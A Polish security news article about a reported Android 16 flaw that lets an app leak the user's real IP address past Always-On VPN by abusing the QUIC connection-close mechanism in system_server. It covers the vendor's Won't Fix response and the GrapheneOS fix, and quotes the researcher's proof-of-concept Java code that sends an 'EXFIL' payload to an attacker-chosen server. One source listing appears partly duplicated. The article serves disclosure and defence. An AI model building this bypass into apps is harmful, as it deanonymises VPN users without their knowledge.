NIS2/KSC2 starter pack. Czy Twoja firma podlega pod regulację i co z tego wynika? Bezpłatne szkolenie od sekuraka

Konferencja Mega Sekurak Hacking Party w Krakowie – 26-27 października!

Jak aplikacja może ujawniać adres IP mimo VPN? (Android 16)

11 czerwca 2026, 04:11 | W biegu | 0 komentarzy

Badacz bezpieczeństwa o pseudonimie Yusu (lowlevel.fun) odkrył sposób, dzięki któremu zwykła aplikacja w systemie Android 16 może ominąć włączony VPN, ujawniając prawdziwy adres IP użytkownika.

TLDR:

  • Badacz znalazł obejście systemowego VPN Androida 16 pozwalający aplikacji ujawnić prawdziwy adres IP użytkownika.
  • Problem występował nawet przy włączonych opcjach “Always-On VPN” i “Block connections without VPN”.
  • Bypass wykorzystywał funkcję QUIC teardown i proces system_server wyłączony z ograniczeń routingu VPN.
  • Do wykorzystania błędu wystarczały standardowe uprawnienia INTERNET i ACCESS_NETWORK_STATE.
  • Google uznało zgłoszenie za “Won’t Fix”, natomiast GrapheneOS (custom ROM) wyłączył podatny mechanizm.

Sposób ten działa nawet wtedy, gdy włączone są opcje “Always-On VPN” oraz “Block connections without VPN”. Te dwa ustawienia mają zapewniać, że ruch z aplikacji na urządzeniu nie będzie odbywał się poza tunelem – i jak się okazało nie gwarantowały tego w pełni.

Wystarczy, że użytkownik ma na swoim urządzeniu złośliwą aplikację, która wykorzysta wspomnianą metodę do ujawnienia prawdziwego adresu IP ofiary korzystającej z VPN. Sposób polega na przekazaniu przez (złośliwą) aplikację danych do system_server (procesu, który nie podlega ograniczeniom routingu VPN), a następnie zakończeniu działania. I to system_server otwiera gniazdo UDP i przesyła dane do docelowego serwera – dzięki temu serwer przyjmujący żądanie otrzymuje je z publicznego adresu IP użytkownika. Filtry odpowiedzialne za opcję “Block connections without VPN” nie biorą pod uwagę procesów systemowych, a jedynie same aplikacje.

Do wykonania takiego żądania wystarczyło, żeby aplikacja posiadała podstawowe uprawnienia INTERNET i ACCESS_NETWORK_STATE.

Badacz zademonstrował całość na smartfonie Google Pixel 8 z Androidem 16 i włączonym Proton VPN wraz z trybem lockdown Androida. Przygotowana do jego testów aplikacja ujawniała publiczny adres IP urządzenia zdalnemu serwerowi, mimo włączonego VPN.

Badacz zgłosił problem zespołowi bezpieczeństwa Androida, który sklasyfikował go jako “Won’t Fix” oraz NSBC (Not Security Bulletin Class), stwierdzając że nie spełnia on kryteriów podatności. Badacz odwołał się od tej decyzji, argumentując że potencjalnie każda aplikacja może ujawniać adres IP użytkownika bez jego wiedzy, jednak Google utrzymało swoje stanowisko, autoryzując public disclosure 29 kwietnia.

Metoda Bindera w ConnectivityManager, registerQuicConnectionClosePayload, akceptuje dowolny bufor bajtów i socket UDP od każdej aplikacji z uprawnieniami INTERNET i ACCESS_NETWORK_STATE (oba przyznawane automatycznie). 

W Android 16 dodano funkcję graceful QUIC teardown. Powód był sensowny – QUIC działa w oparciu UDP, więc gdy gniazdo aplikacji zostaje zabite (przez użytkownika lub OOM killer), docelowy serwer może pozostać z otwartym połączeniem aż do timeoutu. System pozwala więc aplikacjom wcześniej zarejestrować CONNECTION_CLOSE, które zostanie wysłane w jej imieniu, gdy socket zniknie.

@Overridepublic void registerQuicConnectionClosePayload(final ParcelFileDescriptor pfd,        final byte[] payload) {    if (!mCloseQuicConnection) {        // feature flag only        IoUtils.closeQuietly(pfd);        return;    }    // NO @Override
public void registerQuicConnectionClosePayload(final ParcelFileDescriptor pfd,
        final byte[] payload) {
    if (!mCloseQuicConnection) {        // feature flag only
        IoUtils.closeQuietly(pfd);
        return;
    }
    // NO enforceCallingOrSelfPermission()
    // NO @EnforcePermission in AIDL
    // NO checkCallingPermission()
    mQuicConnectionCloser.registerQuicConnectionClosePayload(
            mDeps.getCallingUid(), pfd, payload);
}

Listing 1 – fragment ConnectivityService.java, źródło: cs.android.com (komentarze: lowlevel.fun)

Gdy warstwa netlink ostatecznie zgłosi SOCK_DESTROY, system_server otwiera nowy DatagramSocket (który omija VPN), łączy z docelowym adresem i zapisuje payload.

public void sendQuicConnectionClosePayload(final Network network,
        final InetSocketAddress src, final InetSocketAddress dst, final byte[] payload)
        throws IOException, ErrnoException {
    final DatagramSocket socket = new DatagramSocket(src);
    network.bindSocket(socket);    // physical Wi-Fi network
    socket.connect(dst);
    Os.write(socket.getFileDescriptor$(), payload, 0, payload.length);
}

Listing 2 – fragment QuicConnectionCloser.java, źródło: lowlevel.fun

System nie weryfikuje, czy payload faktycznie jest ramką QUIC CONNECTION_CLOSE. Nie sprawdza również, czy dana aplikacja powinna mieć dostęp do tej sieci poza VPN.

Badacz przygotował Proof of Concept w postaci aplikacji, która omijając VPN ujawnia adres IP urządzenia. W pliku manifest zadeklarował uprawnienia przyznawane automatycznie i nie wzbudzające podejrzeń – aplikacja po prostu chce mieć dostęp do Internetu:

<uses-permission android:name=”android.permission.INTERNET” />
<uses-permission android:name=”android.permission.ACCESS_NETWORK_STATE” />

Listing 3 – manifest aplikacji PoC, źródło: lowlevel.fun

Główny plik MainActivity.java jest ograniczony do jednego ekranu: po podaniu adresu IP i portu docelowego serwera oraz kliknięciu “Send & Exit”, payload jest rejestrowany w systemie. Potem następuje zakończenie procesu, aby wywołać zarejestrowane CONNECTION_CLOSE. W efekcie urządzenie wysyła pakiet do wskazanego serwera, całkowicie pomijając VPN i ujawniając adres IP użytkownika.

// Transaction code 94, harvested once with dexdump on
// /apex/com.android.tethering/javalib/framework-connectivity.jar’s classes.dex.
// AIDL emits methods alphabetically, so this is stable across upstream Android 16 builds.
private static final int TXN_REGISTER = 94;

// ServiceManager.getService is greylisted (UNSUPPORTED, not BLOCKED), so plain
// reflection works without policy bypass. The runtime just logs a warning.
Class<?> sm = Class.forName(“android.os.ServiceManager”);
IBinder connectivity = (IBinder) sm.getMethod(“getService”, String.class)
        .invoke(null, “connectivity”);

DatagramSocket s = new DatagramSocket(new InetSocketAddress(wifiIp, 0));
s.connect(InetAddress.getByName(host), port);
ParcelFileDescriptor pfd = ParcelFileDescriptor.fromDatagramSocket(s);
String payload = “EXFIL{src=” + srcIp.getHostAddress() + “,via=” + srcTransport + “}”;

Parcel data = Parcel.obtain();
try {
    data.writeInterfaceToken(“android.net.IConnectivityManager”);
    data.writeTypedObject(pfd, 0);
    data.writeByteArray(payload.getBytes());
    connectivity.transact(TXN_REGISTER, data, null, IBinder.FLAG_ONEWAY);
} finally {
    data.recycle();
}

finishAndRemoveTask();
System.exit(0);

Listing 4 – główny plik aplikacji PoC, źródło: lowlevel.fun

Pełny kod aplikacji przygotowanej w ramach PoC można znaleźć w repozytorium na GitHubie.

Timeline:

  • 12 kwietnia 2026: badacz zgłasza problem wraz z PoC
  • 18 kwietnia 2026: Android Security Team zamyka zgłoszenie
  • 18 kwietnia 2026: badacz odwołuje się od decyzji
  • 24 kwietnia 2026: Android Security Team podtrzymuje odmowę
  • 24 kwietnia 2026: badacz pyta o możliwość ujawnienia problemu
  • 29 kwietnia 2026: Android Security Team wyraża zgodę na ujawnienie

Dla użytkowników oznacza to przede wszystkim, że systemowe opcje Androida związane z VPN nie były w pełni wystarczające. Nawet przy włączonych opcjach “Always-On VPN” oraz “Block connections without VPN”, potencjalna złośliwa aplikacja mogła ujawnić publiczny adres IP urządzenia. Nie oznacza to jednak, że cały ruch urządzenia omijał VPN – problem dotyczy jedynie możliwości wysłania wybranych pakietów poza tunel.

Problem został naprawiony przez twórców GrapheneOS. To skoncentrowany na prywatności i bezpieczeństwie system operacyjny oparty na Androidzie (tzw. custom ROM), rozwijany głównie dla urządzeń Google Pixel. W najnowszej wersji całkowicie wyłączono optymalizację registerQuicConnectionClosePayload, skutecznie neutralizując potencjalny wektor ataku na wspieranych urządzeniach.

Źródła:

~Tymoteusz Jóźwiak

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

Odpowiedz